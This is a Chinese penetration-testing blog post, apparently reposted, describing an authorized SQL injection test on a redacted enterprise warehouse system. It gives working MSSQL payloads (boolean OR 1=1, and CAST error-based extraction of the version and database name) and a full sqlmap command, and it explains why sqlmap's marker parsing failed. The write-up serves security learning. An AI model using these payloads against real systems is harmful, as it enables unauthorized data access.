记一次SQL注入漏洞的脱敏笔记

admin 2026-09-14 05:00:15 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文记录一次授权SQL注入漏洞测试过程,目标为PHP+SQLServer企业仓储系统。通过单引号报错确认注入点,使用布尔注入读取真实库存数据,利用CAST报错注入获取数据库版本与库名。文章重点分析了sqlmap读取库名失败而手工成功的原因:sqlmap依赖错误信息中匹配标记,而目标返回print_r数组格式导致解析失败。建议手工验证关键步骤,并注意脱敏与授权合规。 综合评分: 85 文章分类: 渗透测试,漏洞分析,WEB安全


记一次 SQL 注入漏洞的脱敏笔记

原创

添柴不加火 添柴不加火

希泽Sec

2026年9月13日 16:43 山东

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

DEEP READ

记一次 SQL 注入漏洞的脱敏笔记

导读 · CONTENTS

01声明

02背景

03测试过程

01

声明

SECTION

本文为授权安全测试后的技术总结,已对目标域名、单位名称、数据库名、版本号、Payload 等敏感信息做脱敏处理。仅用于技术交流与防御参考,请勿用于未授权测试。

02

背景

BACKGROUND

在一次授权安全测试中,目标是一个企业仓储管理系统。系统对外提供一个 GET 查询接口,用于按仓位编号查询库存信息。测试过程中发现,其中一个查询参数存在 SQL 注入漏洞。 本文记录从工具告警到手工确认的完整过程,并给出脱敏后的完整 Payload。

过程中遇到了一个问题:为什么 sqlmap 已经确认注入了,却读不出数据库名?而手工反而成功了?

03

测试过程

TESTING

目标接口如下:

CODE

https://XXX/?cw=1′

输入一个单引号发现报错,如图:

参数 cw 用于按仓位编号查询库存。后端为 PHP + Microsoft SQL Server,使用字符串拼接 SQL。 sqlmap 确认该参数存在基于错误的 SQL 注入:

CODE

Parameter: cw (GET)

Type: error-based

Title: MicrosoftSQLServer/SybaseANDerror-based – WHEREorHAVINGclause (IN)

但 sqlmap 在读取数据库名时失败,提示:

CODE

[WARNING] theSQLqueryprovideddoesnotreturnanyoutput

[ERROR] unabletoretrievethenumberofdatabases

[CRITICAL] unabletoretrievethedatabasenames

于是转为手工验证:

单引号触发报错,确认注入上下文

CODE

https://XXX/?cw=1′

响应中出现类似:

CODE

字符串 ‘A001′)’ 后的引号不完整。确认注入点为字符串拼接,上下文为 cw=’<值>‘)。

布尔注入读取真实库存数据

CODE

https://XXX/?cw=1′)%20OR%201=1–

返回 10 条真实库存数据,示例(已脱敏):

CODE

[{“dyph”:”XXX”,”gg”:”XXX”,”kcsl”:0,”mc”:”XXX”}, …]

对比基线返回的空占位,布尔注入成立,并已能越权读取业务数据。

报错注入读取数据库版本

CODE

https://XXX/?cw=1′)%20AND%201=CAST(@@version%20AS%20int)–

响应中回显(已脱敏):

CODE

在将 nvarchar 值 ‘Microsoft SQL Server XXXX’ 转换成数据类型 int 时失败。

报错注入读取当前数据库名

CODE

https://XXX/?cw=1′)%20AND%201=CAST(DB_NAME()%20AS%20int)–

响应中回显(已脱敏):

CODE

在将 nvarchar 值 ‘XXX_DB’ 转换成数据类型 int 时失败。

点到为止,没有再继续测试了。

04

sqlmap 命令

SQLMAP

CODE

python sqlmap.py -u “https://XXX/?cw=1″ -pcw –prefix=”‘)” –suffix=”– ” –dbms=”Microsoft SQL Server” –technique=E –current-db –flush-session –no-cast –threads=1 –delay=1 -v3 –batch

为什么 sqlmap 读不出,手工却能读出? sqlmap 的报错注入依赖在错误信息中匹配自己设置的标记(如 qjpjq 和 qbvjq),再提取中间的十六进制字符串。目标返回的是 PHP print_r 数组格式,错误信息可能被换行、转义或截断,导致 sqlmap 解析失败。

手工用 CAST(DB_NAME() AS int) 直接看报错,不依赖 sqlmap 的正则,所以更直接、更可靠。

添添柴不加火

我是添柴不加火,网络安全爱好者,不定时分享一些网安知识、学习笔记和工具安装等等,期待和你共同进步^_^ 。

如果觉得有用,欢迎点赞、在看、转发三连。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:希泽Sec 添柴不加火 添柴不加火《记一次 SQL 注入漏洞的脱敏笔记》

评论:0   参与:  0